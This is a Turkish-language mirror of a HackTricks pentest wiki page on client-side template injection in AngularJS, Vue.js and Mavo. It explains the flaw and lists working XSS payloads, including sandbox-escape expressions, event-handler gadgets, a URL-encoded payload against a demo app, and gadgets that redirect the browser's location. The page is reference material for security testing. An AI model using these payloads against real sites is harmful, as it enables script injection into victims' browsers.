mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
4.6 KiB
Markdown
79 lines
4.6 KiB
Markdown
# Client Side Template Injection (CSTI)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Özet
|
||
|
||
Bu, **Sunucu Tarafı Şablon Enjeksiyonu** ([**Server Side Template Injection**](ssti-server-side-template-injection/index.html)) gibidir, ancak **istemci** tarafında. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
|
||
|
||
Bu güvenlik açığını **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **açık** ise `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz.
|
||
|
||
## AngularJS
|
||
|
||
AngularJS, HTML ile direktifler olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür, bunlardan biri **`ng-app`**'dir. Bu direktif, AngularJS'nin HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar.
|
||
|
||
Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdinin içinde AngularJS sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır:
|
||
```javascript
|
||
{{$on.constructor('alert(1)')()}}
|
||
{{constructor.constructor('alert(1)')()}}
|
||
<input ng-focus=$event.view.alert('XSS')>
|
||
|
||
<!-- Google Research - AngularJS -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz.
|
||
|
||
> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
|
||
|
||
## VueJS
|
||
|
||
**Zayıf bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) adresinde bulabilirsiniz.\
|
||
Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||
|
||
Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||
```markup
|
||
<!-- Google Research - Vue.js-->
|
||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||
```
|
||
CSTI ile ilgili gerçekten iyi bir yazı VUE'de [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) bulunabilir.
|
||
|
||
### **V3**
|
||
```
|
||
{{_openBlock.constructor('alert(1)')()}}
|
||
```
|
||
Kredi: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||
|
||
### **V2**
|
||
```
|
||
{{constructor.constructor('alert(1)')()}}
|
||
```
|
||
Kredi: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||
|
||
**Daha fazla VUE yükü kontrol edin** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||
|
||
## Mavo
|
||
|
||
Yük:
|
||
```
|
||
[7*7]
|
||
[(1,alert)(1)]
|
||
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
||
[self.alert(1)]
|
||
javascript:alert(1)%252f%252f..%252fcss-images
|
||
[Omglol mod 1 mod self.alert (1) andlol]
|
||
[''=''or self.alert(lol)]
|
||
<a data-mv-if='1 or self.alert(1)'>test</a>
|
||
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
||
<a href=[javascript&':alert(1)']>test</a>
|
||
[self.alert(1)mod1]
|
||
```
|
||
**Daha fazla yük** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||
|
||
## **Kaba Kuvvet Tespit Listesi**
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||
{{#endref}}
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|